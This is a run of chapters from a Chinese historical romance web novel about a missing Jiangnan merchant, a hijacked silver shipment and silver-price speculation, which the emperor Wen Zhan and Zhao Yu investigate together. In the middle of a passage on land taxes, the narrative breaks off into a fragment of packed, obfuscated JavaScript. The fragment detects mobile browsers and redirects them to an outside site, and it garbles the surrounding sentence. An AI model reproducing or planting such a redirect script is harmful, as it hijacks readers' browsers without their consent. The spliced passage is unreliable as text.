他随手赏出一点碎银,那些人就会争前恐后的匍匐在他的脚下,听他的差遣,为他效力,就像他故去的娘亲说的那样,君子予之义,小人予之利。世上的人多是蝇营狗苟,贪利忘义之辈,又有几个是铁骨铮铮的君子? 他看着眼前这个因自己的碎银而千恩万谢的奴仆,嗓子里面有些腻,忽然想要喝一盏清茶。于是,他沿着潮湿的石板路一直走,走到了这个漏夜依然宾客如云的茶棚,他本想一人看着雨饮茶,却看到了角落那张木桌前,干净的崔碧城。 外乡人。 那个人,从头到脚透出一种干爽的外乡人的感觉。虽然穿着布衣,却和这里显得那么的格格不入,他喝着最便宜的茶水,嘴角边却有一种沉静安逸甚至是甜蜜的笑,那是心中有人时候才会从心底浮出的笑。 周熙想着,就端着茶壶过去,把手中的茶盏推了过去。 他看着雨,想着巨富周家的全部产业,甚至是江南十三行都已经是自己的掌中之物了,这种满足,伴随着明前龙井的香气盈满了他的全部身体。 雨水,一滴,一滴的落下,在石板路上敲出一声一声的涟漪。 “崔碧城。”那个外乡人说话了。 周熙一愣,“什么?” 那个干净的外乡人笑着说,“我叫崔碧城。” 周熙恍然,原来是自报家门,他也说,“永嘉周熙。” …… 这一年的崔碧城,只是一个因为眠花宿柳而误了春闱被杜阁老逐出师门、只身揣了二两白银独闯江南的倒霉蛋。 那一年,崔碧城就在周家的茶庄做伙计。 …… 刚过寅正三刻,天黑的跟墨泼的似的,崔碧城睡的正熟,被同一个茶庄的小伙计阿炳拉到柜前。 此时,周家大少爷周崇已经来了。 崔碧城和阿炳都是小字辈的跑街伙计,没辈分往大少爷跟前凑合,一进周氏茶庄的六块雕花门拼成的门栏,就被命令站在回廊边上。外面风大了些,雨水都能打到崔碧城的衣服边上。 大少爷周崇长的白白净净,微微发胖,所以眉眼不是很清楚,看着像一个碱大的包子。他端坐在正堂的高椅上,双手捧着账簿,正在装模作样的细细端详,他后面是六个账房,算盘珠子打的噼里啪啦的乱响。 周崇问茶庄的掌柜的,“老二呢?怎么还没到?我这个弟弟整天阴阳怪气的,谱却大的很,难请啊,难请。” 掌柜的连忙躬身回答道,“已经派人去请了。可是今天是故去的姨太太的忌日,二少爷在寺里念经祈福,所以过来的时候慢一些。” 周崇冷笑,“什么姨太太,她还有功了!!还念经祈福?……还有,我说老王,你要拎得清,这个周家以后谁当家?要是得罪了我,我给你们一人一个竹杖一个破碗,到苏北讨饭去!!” 周崇像一头作威作福的猪,从椅子上站起来,绕来绕去,又说,“咱们买卖人,谁还没有一些临时拆借,钱不凑手的事?只要你们自己说出来,我大少爷就把话说出来,我给你们顶!不过,……” 话还没有说完,周崇连忙闭上嘴巴,一双不是很清晰的眼睛直直的看着门外! 茶庄的伙计们在掌柜的眼色中,都纷纷垂首躬身站着,却自动的让开了一条道,一个身穿月白色长衫的少年一只脚踏进屋子,转身,收起了手中那把油纸伞。离得近了些,崔碧城从少年身上闻到了一股子栀子花的香气,他不自觉的抬起了眼睛。 周熙收了伞,随手递给旁边的一个小伙计,气定神闲的走到正堂。他就像一个在书房里面安静的学生,并不是面对手下一众久经江湖掌柜的、伙计的少东家。他也不说话,就坐在周崇的对面,旁边的人连忙捧过一盏茶,他端茶喝了一口,才问周崇,“大哥着急叫我过来,可是哪里又亏空了?” 周崇刚要说话,周熙又堵了他一句,“大哥,你买妾的三万银子的账,可是动的公用,这都年底了,账房也要清算的,你要是手边有余钱,就把账清了。” 对应他的先发制人,根本抓不到周熙一丝一毫把柄的周崇眼睛珠子差点瞪红了。原本他的账房跟他再三保证过了,说谁家的账都一样的烂,只要半夜去查,他们来不及遮掩,什么底细都能弄出来。可他们背着周熙都在这里折腾了大半个时辰了,连根毛都没弄到。 周崇想,既然周熙都回来了,他们不能再这样弄了,不然丢脸就丢到整个永嘉了。 他合上账目,扔给茶庄大掌柜的,“给你。” 然后对周熙说,“老二啊,你别说话这么直,在下人面前,也给你哥哥我留个颜面。那笔钱我马上入账,你就别再提了。” 周熙低头,嘴角似乎再笑,却没有在说话。 周崇带着他的六个账房,灰头土脸的走了之后,茶庄还是一片鸦雀无声。这里的伙计们都被这场兄弟内斗震的发晕,只有崔碧城低头,白眼珠子差点抛出回廊。 不管什么地方,但凡有些家业的,似乎兄弟之间就能斗的跟乌眼鸡似的。 不过,这跟皇宫那些才十来岁的、貌似天真烂漫的皇子们之间的勾心斗角,犹如云泥之别。 崔碧城轻轻咳嗽了一声,声音带着玩味、他的眼神中带着一些无聊和些许的不屑,周熙听到,抬头,看到回廊边上垂首躬身立着的崔碧城,却正对上他无聊乱看的眼神。 崔碧城挑了一下眉毛。 然后,他看着周熙安静的,喝完了瓷碗中的茶。 …… 周熙回府的时候,天空已经亮了,雨也停了,碧蓝清透的天空像最名贵的古瓷。他安静的坐在正堂中,等他父亲过来,周熙喝着奴仆递送过来的茶,这是去年的明前龙井。不一会儿,周老爷拖着疲惫的身体,从后堂出来,他的身上有一种死亡和腐败的气息。 周熙安静的见了礼,周老爷招呼他坐下,然后吩咐奴仆,“为少爷泡一盏今年的冬茶过来。” 这是刚从武夷山运来的珍品,连雍京的贵人都无缘喝到。 周熙一样很安静,只是嘴角有些笑意。 从那时开始,周熙当家,随后执掌江南十三行。 崔碧城给承怡写了一封信,先是抱怨一下江南的破天气,一直下雨一直下雨,屋子里面阴冷阴冷的,饭菜寡淡,连酒都是娘们喝的,淡而无味,不过……,这里的人到是很够味儿,让我想到了在雍京的日子。 他的名字,是周熙。< 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赵毓说,“我不知道周熙所谓的太仓银是否指代的是户部的税银,不过,即使周家在江南太仓当真存了那么多现银,也无法在一天之内送进雍京城。再退一步,就算他周熙果然在太仓存了这些白银,也果然能运送雍京,可是,这些白银是他周家留给后世子孙的,也是他周家钱庄茶庄发的那些可以兑银的纸票的根本,如果动了这些,十三行在永嘉再遭挤兑,那可就是万劫不复。到那时,多少人血本无归,多少人卖田卖地,多少人典妻当女,多少人半夜就要上吊喝毒|药了。我可不敢动那些银子,省的给自己生这么多业障。” 崔珩也知道赵毓的性子,自然知道他的决定。 他低头看着这封书信,——周熙的字,端正浑厚。所有人说字如其人,其实仔细看,周熙的字并不像他,反而像一个历经沧桑的老者。 此时,外人有响动,赵毓的大账房于明晋心急火燎的窜了进来。 “东家,东家,大事不好!” 赵毓心说,最近不好的事情已经太多,再多上一件,也似乎无关紧要,所以,他依旧平稳,甚至还端起来盖碗,喝了一口今年秋天刚下来的铁观音。 结果,那位大账房开口就是: ——“十三行银船遭劫,雍京银价翻了三番!我们却押银价狂泄,西城赌局叫我们追加定金,不然就把我们强行平仓!东家,如果不再追押现银七十万,咱们之前下的一百万两白银血本无归!” 旁边有人尖叫了一声! 随即捂住嘴,屋子中是令人心惊的沉默,如同泛滥之后的黄河谷地,只有滔滔之水,没有一丝生灵的气息。 而,赵毓手中盖碗甚至没有摇晃,直接被他安稳的放回酸枝木的桌上。 “别急。”赵毓开口,“萧老大他们从天津港拉回来一些现银,刚好用来追加定金。你去敦煌会馆找薛宣平,他知道怎么做。” “可是,……”大账房有些犹豫。 赵毓的眼睛一瞬不瞬的盯着他,像一片荒野中陡然出现的浓雾,让人看不透。 “你怕现在追加的定金再打了水漂,是吗?”赵毓说,“于先生,开弓没有回头箭,你回头看看,咱们的退路早就被人拆了。这个时候要是收手,一切都完了。如今只有一条路,就是一直向前走。即使前面荆棘丛生,刀锋遍地,我们头破血流,双腿被斩断,爬,也要向前爬。没事,别怕。” 大账房惊魂未定,赵毓又来一句,声音轻飘,犹如三春柳絮,“当真要怕的事情,还在后面。” “……” …… 周熙并不是什么善男信女! 他有着兽一般敏锐的嗅觉,这才让他可以在周家活下来,才可以让他在波谲云诡的商道上活下来,才可以让他得以执掌江南十三行! 此次的事情,他之前难道没有一丝半点的察觉? 不像他! …… 这位失魂落魄的大账房脚步虚空的离开,崔珩忽然站起来,“我去一趟周熙家中。” 赵毓点头,“我也去。” 外人只知道周熙在永嘉会馆,在十三行的钱庄茶庄,在四大皆空坊,在各个风流云集的酒桌上,其实,他在北城的凉夜巷有一个宅子,安静的犹如被世间遗忘。 崔珩自然知道这里。 他敲开门,平时收拾宅院的管家正在种菜。 那人看到崔珩与赵毓,并不阻拦,放任他们进了周熙的书房。 这里一切工整犹如主人安在一般。只是,历经几代人已经古旧的红木家具上摆的两把湘妃竹扇,似乎有些歪。周熙是一个外在倜傥,其实异常严谨的人,他的书房本来不应该出现这样的事情。 一把扇面上则写着:——商道,如吕尚之谋,孙子用兵,商鞅行法,是故智不足与权变,勇不足以决断,仁不能取予,强不能所有守者,不入此道也。 而,另外一把扇面上则写着圣人言。 赵毓伸手拿下这把竹扇,正反看了看,见落款上是两个字’季璋’,这是崔珩之前在江南的时候用过的字。于是,赵毓把竹扇折上,递给崔珩。 “这是你写的?” 崔珩一把打开竹扇,徽墨字迹印在雪浪纸上——天下熙熙,皆为利来;天下攘攘,皆为利往。 71. 71 71 崔珩拿了这把折扇去问周熙的管家,“你们老爷出门的时候,可曾说过什么?” 那位老者说话咿咿呀呀的,吴越乡音浓重,赵毓听的不算真切,可也是大体不差。 听这位老者的话,周熙那天晌午出门之前吃了一碗菜泡饭,又温了二两永嘉的太雕酒,其他就没什么了。 “喝了酒?”崔珩听着微微皱眉。 赵毓懂。 ——周熙此人极严谨,有正事的时候从来不喝酒。 永嘉周家百年豪富,大家族一般都污糟不堪,周熙自幼长在一个这样满是危险的环境中,见多了喝酒误事,甚至喝酒丧命的事情与人,有些是咎由自取,而剩下的则多是被人陷害。周熙耳读目染之后,自然知道应该怎样躲开危险。所以,即使他酒量千盏不醉,却绝不贪杯,甚至小心谨慎到严苛的地步。 至此,崔珩又问,“同谁一起喝酒?” “永嘉来的账房,刚出师。” “姓什么?” “章。” …… 崔珩听着一愣,“哪个章?” “立早章。”周府的管家有些意外,“怎么,侯爷不晓得?” “我晓得什么?” “这位章账房,是章春秋老先生的侄孙,他四弟的亲孙子。如果不是这层关系,我们老爷不会同他喝这一口酒。侯爷,难道这位章账房有什么大问题?” 此时,崔珩的脸色反而缓和了,“不是,我只是好奇,多问了一句。既然是章老先生的侄孙,就没有问题。” “侯爷,我们老爷他,……” “你在这里把菜种好,等你们老爷回来,年底给你多加一层股息,回老家再给儿孙置办一百亩地,这是正事。” 出了周家的大门,崔珩手中一直拿着那把折扇,他下意识的打开,合上,再打开,再合上。 赵毓则安静的站在门外,看着周熙这个小院。 安静,清幽,带着一种遗世独立的气息,像诗歌中那些空谷幽兰。 “承怡。”崔珩忽然说,“我自己去盯大长老还有西疆那些余孽的事情,梁十一与北镇抚司去找十三行的银船。等回头见到章春秋和十三行的人,你……” “我今晚请章春秋喝酒。”赵毓说,“我什么都不会说,只谈风月。只是,大长老的事情已经让你焦头烂额了,再加上周熙和十三行银船的事情,我怕你两头都要顾,最后两头成空。再说,北镇抚司未必有空管周熙的事情。” 崔珩甚至都没有问。 赵毓知道,最近好像流年不顺,所有糟瘟的事情都赶的一起,拧成了一个烂线团。 上次他与文湛从沈臻那里运出来几十万两白银,可是也知道了沈臻贩卖鸦片甚至有可能通倭,文湛自然不会善罢甘休,只是这些事情目前看来无法上台面,调查甚至以后的暗中剪除这样的事情自然要着落到缇骑身上。 北镇抚司是皇帝的密探,是大正宫的影子,是令天下百官害怕的一把刀。 晚上的饭自然吃的食不下咽,酒也喝的不顺畅。 十三行暂时被章春秋接管,因为这位老先生的德高望重,一切人和事情都还算服帖,未见慌乱。 赵毓过来也只是吃了一顿便饭,温了二两周熙家自己酿造的女儿红。 在场的还有雍京其他几个钱庄、票号的掌柜。他们吃饭的时候什么也没说,只是一直在宽慰章春秋,让他先尽心照看十三行,至于外面的事情,他,还有西北道,还有其他钱庄票号,现在大家同坐一条船,谁都不会见死不救。 赵毓只喝了二两酒,只是心中不痛快,也故意显出醉意。 不久,他就告辞出来。 赵毓出门上马的时候,章春秋还送出门。 门外,杂人少,清净。 章春秋叹口气说,“这样一顿夜饭虽然是同行之间的情谊,可也算是坐实了我们十三行遭了灾。我估算着,这些钱庄银楼票号的掌柜们回去肯定把自己家的存银深埋地下,明天一早,雍京的银价一定会再上一成。哎,大势所趋,我们小民实在无能为力。” 赵毓则拍着他的肩膀说,“章先生,放心。你我十几年的交情,放心,我不会弃周熙于不顾,放心,我也不会弃十三行于不顾。” 赵毓这一连三个’放心’,却让章春秋听着有些,…… 不过,他看着赵毓那张面孔,在火把的光中显出微微醉意。 像是,…… 他自己本来的身份。 ——一个出生就锦衣玉食的王公。 大正宫。 文湛进寝宫的时候,看见赵毓坐在台阶上,旁边是黄枞菖,正用一个小泥炉子温米酒。 皇帝问了一句,“今晚外面的酒没喝痛快?” 文湛接过黄枞菖双手递过来的酒壶,在粗糙酒碗中的倒了一碗底的甜酒,同时让人也拿了一个粗陶酒碗过来,自己给自己也倒了一份。 他坐在他身边,从台阶上向下看去。 头顶的星空,远处的垂花门,还有远处,那浩渺无垠的太液池,和朱墙黑色琉璃瓦之外,那个遥远陌生却又应该熟悉无比的世间。 赵毓摇头,“喝不痛快的。” 赵毓拿过酒碗,轻轻同文湛手中的酒碗碰了一下,随即一饮而尽。 “文湛,周熙的事情,……” “怎么了?” “老崔想要他信任过人查,可惜,人手不够。” “十三行的人不能用?” “不能。”赵毓想了一下才说,“老崔和我都觉得十三行有问题,我们却不知道究竟哪里不对劲,或者说哪些人有问题。我想让薛宣平去查一查,只是,西北道也是泥菩萨过江,自身难保。如果这三天雍京的银价再涨,我们押在西城赌局的二百万两白银都要化为梦幻泡影了。生死攸关的当口,不管是萧老大还是薛宣平,都顾不上别人了。你不能,……” 文湛听了,将自己酒碗中的米酒何尽,才说,“好,我让裴檀去查。” “定国公?”赵毓没想动用这么大的一尊神,“我只想问你调用一些人手。只是,……,不管是定国公还是你的人手,这样算不算公器私用?” “不算。” 文湛让黄枞菖过来,“你去微音殿,左边黑檀木柜子第二层,第二个隔断,右边第三个匣子,里面有一封户部参政知事宋鼐写的《民间疾苦疏》。” “可是,……”赵毓却说,“父皇,……,先帝有严旨,微音殿的一切,不管是纸张还是只言片语,不可出微音殿,违者,……” 他没说出口。 文湛却笑,极其清淡,像眼前这片烟波浩渺的太液池,“一向任你出入近二十年的地方,你什么时候这么守规矩了?” 黄枞菖却也没有动。 文湛才说,“这本奏疏的旁边是我临摹的字帖,你把它拿过来。” 这是欲盖弥彰。 赵毓却听见皇帝说,“承怡,你写的那笔字实在难看,已经是父皇的心病,我写了字帖让你临摹,同时矫正你的笔迹,他老人家即使已经帝星归位,在天上看着也是满心宽慰的。至于我做的字帖是王羲之的《兰亭序》还是苏东坡的《黄州寒食诗》,又或者是其它什么东西,父皇不会在意,也不会管,是不是?” 赵毓,“……” 黄枞菖这才动身。 …… “一曰银价太昂,钱粮难纳也。苏、松、常、镇、太钱粮之重,甲于天下。” …… 赵毓一目十行,扫完这封字字啼血的《民间疾苦疏》。 不同于朝堂上那些文官大臣们一动不如一静的执政方略,这位宋大人真切看到了因为银价高企给户部收税,同时也给小民百姓的生活带来了灭顶之灾。 朝廷的确没有擅增赋税,只是,——“朝廷自守岁取之常,小民暗加一倍之赋。” 不止如此,那些薄有土地的地主也是日子难过。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728929|189581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >平日每亩土地产稻米一石五、六斗,最多,不过二石。佃户要分去一半的稻米,此时,剩下八斗到一石。 朝廷征收的税负折算成粮食,又是二斗;再加上征收时候,折色、漕运的浮征和陋规,还有火耗的叠加,林林总总则又占了四斗米。 这已经算是去了六斗稻米了。 留给地主的粮食是八斗或者一石米减去这六斗稻米。 最后,余下不过二斗米。 如果,此时朝廷依旧按照以往的税负折算成白银进行征收,而白银则比往年贵了一倍,那么征收的稻米也比往年多了一倍,最后能留给这些薄有田产的人的东西,连糊口都不足了,更不要说那些佃农雇农,怕是有米汤喝,也算千幸万幸。 此时,赵毓听见文湛说,“宋鼐说的还只是姑苏、松江、常州、镇江、太仓,这些地方是江南重镇,鱼米之乡,富甲天下。如果真到了黄河以北,不说别处,只说雍京周围,左相楚蔷生家乡直隶凉坡,那里丰年的时候尚且要卖儿卖女,百姓的日子恐怕还不如奏疏上所说的光景。所以,承怡,银价的事情不仅仅是你、西北道、十三行的关口,也是朝廷,是天下,是百姓的关口。此时调裴檀,不是公器私用,而是正当其用。” 皇帝言至于此,赵毓点了点头。 他的手指指甲在一行字“吏役四出,昼夜追比,鞭朴满堂,血肉狼藉”底下压了线,随即合上那封奏疏的字帖。 “只是,承怡,我不明白,为什么你会觉得十三行有问题?” “周熙家中摆了两把湘妃竹扇,歪了。”赵毓说,“周熙那个人,就算是逛窑子,他上炕睡觉的时候,脱下来的鞋子都一定要摆放严整。而他卧室所有的东西都异常规整,只是这两把扇子成这样,很不对劲。” 文湛又给他们倒了两碗温热的米酒。 “其中一把折扇还是老崔当年下江南的时候给他写的扇面。” 文湛递给他一个酒碗。 赵毓端着酒碗喝了一口,此时,似乎才品出酒的温甜,“那是圣人言:天下熙熙,皆为利来;天下攘攘,皆为利往。我觉得,这是一种暗示。” 文湛问他,“暗示什么?” 赵毓,“天下之大,谁做的是公开的‘天下熙熙,皆为利来;天下攘攘,皆为利往’的买卖?” 文湛,“不用找别人,他江南十三行就是其中的翘楚。” “对。”赵毓点头,“君子爱财,取之有道。取利之道,虽然为那些读书人所不齿,可也是一种道义。只是,是谁把这种道义给弄歪了?” 此时,文湛喝了米酒,忽然笑了,却带着一丝的肃杀。 他抬手,从赵毓的头发上拿下一片落叶。 随后,听见赵毓轻笑着,“还以为我长了白发,你要给我拔掉。” “不是。”文湛见这壶米酒空到底,吩咐黄枞菖再温一壶,这才说,“承怡,以后,你需要我的事情,直白一些告诉我。至于这件事是否能做,能做到哪一步,究竟用什么方法可以做成,这由我来决定。” 赵毓,“总感觉你事情太多,不想再因为我这些小事让你烦心。” 文湛,“你的事,……” 此时,黄枞菖将酒温好,从泥炉上拿下,双手呈上。 文湛接过来,将并排放在青石上的两个粗陶酒碗满上,随即轻挥手,屏退左右。 登时,此地只余他们二人。 赵毓抬头看着夜空,没想到不甚真切,因为他的头顶是一盏精致的琉璃宫灯,周围则是高耸的朱墙,上面铺盖的一层厚重的黑色琉璃瓦,像压下的重担,却也像是一层坚不可摧的铠甲。 “承怡,……” 这是他的名字。 赵毓拿过一碗酒,抿了一口。 “嗯?” 文湛拿起来另外一碗酒,也学着他的样子,轻轻抿了一下。这是同他一个酒壶中的米酒,温热香甜。 随后,皇帝开口,“你的事,无小事。” 72. 72 72 夤夜。 雍京,敦煌会馆。 薛宣平听从赵毓的意思,他们要将敦煌会馆仅剩的现银全部押在西城的赌局,并且在银价飞涨的现在,还要不知死活的押宝银价狂泻。 …… “赵毓疯了!” “他赵毓身后是西北王尹明扬!他输得起,我们输不起!” “我看老赵最近有些不对劲,不是为了女子就是为了银子,不然,……” 后面还有: “……直接做掉算了,……” 这半句声音实在太小,周围的人听到听清楚了,就是不知道为什么,大家七嘴八舌的声音却逐渐弱了,随即,消弭于无形。 顿时。 鸦雀无声。 “不然什么?”原本一直端坐堂上,安稳享受两个丫头伺候抽烟的老大萧呈开口,“老八,你想做什么?” 那位被称为‘老八’的男人看似獐头鼠目,还瞎了一只眼,只是剩下的那只眼睛中透着精光,好像被打磨的非常趁手的匕|首。 老八声音开始透着谄媚,“老大别着急,我没别的意思。我是说,不然,咱们,哦不,您,用您的令牌召赵毓回来问上一问。咱们虽然不是那种撅着腚土里刨食的肉羊,每天不是被这个宰就是被那个杀的,可咱们挣的钱都是兄弟们把脑袋别在裤腰带上拼回来的,也不容易。这一次风高浪急的,不好对付,数百年基业的十三行都翻船了,咱们要是都听老赵的,什么都不想,一门心思全折进去,弟兄们就没饭吃了。现在谁都是拖家带口的,您也得大家留条后路,是呗?” 薛宣平呲着牙一乐,“怎么,你新买的那个小妖精儿昨儿夜里给你吹枕头风了?” “老薛!放你娘的罗圈屁!” “得了。”晌午的时候,薛宣平吃了一块酱大骨,现在有些塞牙,他让人拿了牙签过来,一边剔牙,一边开腔,“你平时说话都挺蠢的,今天不但拿了萧老大的名头出来,还把兄弟们都扯下水,一下子变这么聪明,实在是你们家祖坟冒青烟了。” “薛宣平!”老八,“你就是赵毓身边的一条野狗!” 薛宣平也不恼,悠哉哉的来了一句,“那也比你强,你想当狗想了那么多年,不是也没当上吗?” “你!!……” “都给我闭嘴!”老大萧呈忽然高声呵斥一句,四周离开安静下来。 此时,萧呈抬头看了看儿子萧则,原本赵毓的意思不要让他儿子再触碰到西北道任何事情,既然萧则身上已经有了武将的官职,这自然是正道,那么就需要一心一意的走下去,这才是正途。 只是,……,目前这件事情,似乎也只有萧则去做才合适。 “萧则,你到兰叶巷,请赵毓过来一趟。”萧呈说,“我们西北道不怕赌,也不怕输,更不怕倾家荡产!这些都是虚的,只要人还在,弟兄们就能爬起来再来一场。只是,我们不能眼睁睁的看着是前面是一场输局,一个深沟,我还让弟兄们义无反顾的向下跳,这不合适。这西城关于银价涨跌的几百万两白银的赌局,赵毓他,……,需要给弟兄们一个交待。” 如今已经入夜,外面宵禁,等到了清晨,萧则去兰叶巷堵赵毓,却没见到他本人。 开门的是赵大爷,“萧大人,您进院。” 萧则到了院子,赵大妈给他端了一碗热腾腾的豆浆,又拿了一碟子新炸的果子,还有一小碟自己腌的咸菜。 他急了一夜,一口热豆浆喝下去,舒了一口气。 随后,就听见赵大爷说,“我们老爷不在。” 萧则不意外,他知道赵毓这个人行踪有些飘忽,并且狡兔几窟,所以见不到他似乎也应该,“这么一大早就出门了?” 赵大爷,“昨夜就没回来。” 萧则,“怎么?” 赵大爷,“连夜出城了。” 萧则再问,“可是老家冉庄那里有什么事?” 赵大爷,“这我就不知道了。不过,我们老爷二更天的时候回来过,留了话。这几天他不在雍京,要是有人过来找他,家里给备点吃喝,好好招待一下。” “二更天?”萧则一愣,“赵叔没出什么事吧?” “没呀。”赵大爷还仔细想了想。 昨儿夜里,天气还不错,月朗星稀的。 赵毓把门叩开之后也没进院子,就站在门外说了两句话,随后裹着披风下台阶翻身上马,顺着官道从雍京南门出城去了。 要说有什么不一般嘛,……, 好像只是这一次,赵毓身边的人似乎多了一些,一个一个的黑色劲装,胯|下一水儿的匈奴高头大马。 这些,似乎也没什么大不了的呀,…… 萧则,“赵叔没生急病?” 赵大爷,“没呀,我们老爷虽然看起来弱了一些,其实身体底子还算不错,昨夜看上去脸色虽然不是很好,但是也不像有急病的样子。” 萧则,“可是,二更天不是应该宵禁吗?犯夜的人,除非有重病,否则处罚严苛。” 雍京有宵禁令,又称为‘夜禁令’。 一更三点敲响暮鼓,雍京城不允许再有人在街上行走,一直到五更三点敲晨钟之后才解除宵禁。如果在夜禁期间有人在街上走动,罪名就是‘犯夜’,要被笞打五十下。 不过也有例外,重病请大夫,生孩子请稳婆,还有死丧之事可以法外容情。 赵大爷,“宵禁,……,唔,……,哦,……” 萧则,“……?” 卢沟桥永定河畔,这是码头,归属于宛平城,这里则是军营,再向南,就是直隶。 快马疾驰一夜,日出之前,赵毓下马,在此处稍微修整一下。 文湛也下马。 裴檀的人马需要一天的调配时间,他自己先送赵毓出来,等到裴檀的人过来,他再回雍京。 此时,文湛接过随侍的御林军兵士递过来的牛皮水袋,递给赵毓。 水袋三层牛皮,可以把水保持出雍京时候的温度,他等到赵毓喝了一口之后,拿过来,自己也慢慢的饮下余下的温水。 “卢沟晓月,这里是雍京八景之一。” 赵毓对文湛说着,手指向远方,永定河上架着卢沟桥,一弯一弯的桥洞,隐藏在黎明之前的薄雾当中。 “那边就是石碑林,凌烟阁上许多名臣都有墨宝。” 文湛随着赵毓的手指,仔细看了看,“景色倒是不错,可是也没有惊艳绝伦到如此地步。” 赵毓摇头,他从怀中拿出一个油纸包,里面是点心,分了一半给文湛,“与景色无关。” 文湛拿过点心,是他爱吃的桃酥饼,“那与什么有关?” 赵毓,“那边是码头,从南边来的船都停在这里。那些名臣们大多是江南人,从南边过来,第一夜必然在这里靠岸,并且过一夜。一般来说,他们第一次来雍京就是来会试的,有着必等龙虎榜的雄心,也有着面对雍京的忐忑。文人嘛,一般这个时候就会诗兴大发,到处乱写。” 赵毓说着,手指中也捏着一块桃酥,向前方走了走,“文湛,你看,那边的石碑上刻着的就是名相李翮的《雍京赋》。他把雍京比作上林猎场,天子驭下,百官随侍,恢弘激昂。不过,其中也有自己的一颗匡扶社稷的野心,李翮认为他自己也是猎人,就在天子身边。” 赋,就雕刻在石碑上。 旁边有御林军的兵士举着马灯,照亮了一方文字。 “在此处的李翮不过是个白衣士子。”文湛也扫了一眼这副有名的《雍京赋》,依旧用词华美,“竟然也暗藏着这样的心思。” 赵毓却说,“这个野心嘛,……,凡是在雍京城混到有名有姓的人,肯定人手一份,至于那些说自己澹泊敬诚,宁静致远的大人们,如果不是混的无法实现自己的凌云志而聊以自我宽慰,就是以谎言掩盖自身;至于那些没有 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文湛点了点头,微微牵动了一下嘴角,笑,在暮秋的夜风中,却显出了初春杏花雨般的柔软与温和。 此时,赵毓的桃酥饼已经吃完,应该继续赶路了。 文湛又看了看《雍京赋》,他可以熟读这篇华美的赋,却永远无法体会这些名臣登龙虎榜之前的心情。 赵毓看了看他,“在想什么?” 文湛却微微摇头,“说不太清楚。” 赵毓说,“陛下,即使您天纵英才,也写不出《雍京赋》。” 这些白衣士子以后的名臣们,他们是天之骄子,他们在卢沟晓月是从下而上看着雍京,看着大正宫,看着天承殿,他们面前已经铺就了一条登天的梯。 文湛,一出生就是处在登天梯的彼端。 这些名臣们,一生所能达到的终点就是位极人臣。 文湛,则是他们终点之上的终点。 咫尺之遥,永远无法触及,甚至连心思都是禁止的,一旦有人露出一丝一毫的野心来触及文湛的帝座,那就是尸山血海的灾祸。 文湛笑着说,“写不出就写不出吧,我又不是文人,不用文章传世留名。” 赵毓,“可是,魏文帝曹丕曾经说过:文章,经国之大业,不朽之盛事。这么多年过去了,他弟弟曹植的《洛神赋》流传于世,而谢灵运也曾经说过曹植,天下有才一石,曹子建(曹植)独占八斗。这样的盛名,可比曹丕建立曹魏政权,破羌胡,定九品中正制,止北方兵戈,恢复西域建制这些功绩要更为不朽哦。魏文帝和那些三国两晋时期的政治家们,以自己微薄的力量,将山河破碎的乱世推后了几十年,还天下一点能够喘息的平静时刻,可是,这些都比不上曹丕、他老婆甄夫人,还有曹植之间若有似无的恋情更让人有兴趣。” 皇帝,就是这样。 能写一笔好字,绝对不能做王羲之;能画的一手好画,绝对不能做宋徽宗;能写的一手好诗词,绝对不能做南唐后主;一手好文章,一定要隐藏在当代名臣之后。 文湛自然知道,这是他的命。 那些写下名篇诗词歌赋的名臣们一样,他们也有命。 名臣无法到达登天梯的彼端。 文湛无法下来。 赵毓想了想,“不过,也许当年太|祖皇帝重兵压境的时候,会对雍京城有某些微妙的情绪?可惜,一样没有诗文流传下来。” “不会。”文湛摇头。 这是血脉中的骄傲,追溯千年。 “大郑开国之前曾是诸侯,八百年的宗庙,写不出这些文人墨客的小文章。” “并且,……” 文湛回望雍京。 如今的煌煌帝都,当年只是一片荒地。 “太|祖定天下于乱世,建雍京于荒滩,开创大郑一千二百年的基业,根本不用再将自己那点心思写在宣纸上。” 73. 73 73 十三行的银船被劫的地方,在宛平南边。 这里是雍京与直隶的交界处,运河在此处有一大段荒滩,土质泥泞,布满芦苇,如果不是这里好歹还在雍京边缘,此处就彻底成为三不管地段。 其实现在也差不多,实在是打家截道的优选之地。 文湛看着远处,忽然问了一句,“十三行到底被劫了多少白银?” “官面上说是三十万两。”赵毓回答,“我估算着,至少也得再翻上三倍。” “一百万两?”文湛点点头,“这种事情,可大可小。” “是。”赵毓点头,“估计顺天府恨不得这事赶紧抹平。” 文湛,“顺天府?” 赵毓点头,“嗯,顺天府。”他说着,手中的马鞭指着远方,“那些隐隐约约被围起来的地方,就是顺天府做的,那里应该是银船被劫的确切地方,闲杂人进不去。” 文湛看了他一眼,“我让人带了大内的令牌。” 赵毓赶紧摇头,“这事儿千万不能同宫里扯上任何关系,一丝一毫都不可以!” “江南十三行财雄势大,可是说出大天来,也不过是民间商人,被劫的银船连真实的银两数目都不愿意上报官府,自然是不想再节外生枝。三十万两这个数目非常有趣,是个大数目,可是却不是通天的大案,又发生在这种三不管的地段,如果不是好歹地处京畿还有顺天府过问一下,这个事情可能就成了一个无头案了,久而久之,大事化小,小事化无,犹如微风过水面,一切了无痕迹。” “如果一旦让人知道宫里有人对它感兴趣,……,先不说别的,雍京的银价就得翻上天去!” “陛下,九州万方在您身上,十三行这点事,就得比这微风吹过来的芦苇还要轻飘。再往前,就有人了,咱们得换上旧衣服,还不能再骑马了。” “三次。”文湛说。 赵毓,“什么?” 文湛,“从昨夜到现在,你叫了我三次陛下。” 赵毓,“我可不敢管您叫皇上,因为,……,啊!” 忽然,文湛伸手攥住赵毓的腰带,一把将他从马背上剥离,直接带入自己的怀中! 晨风诈起,卷起皇帝宽阔的广袖,直接遮住了赵毓。 他有些看不清楚,却感觉到嘴唇被猛然咬住,干燥却炽热的啄吻犹如烈火灼烧,只是,片刻之间,却如同灰烬一般,骤然消亡。 赵毓被托着腰身,轻轻放在地上。 随即,文湛也下马。 他们身后有人捧过来木盘,上面是微服的旧衣衫。 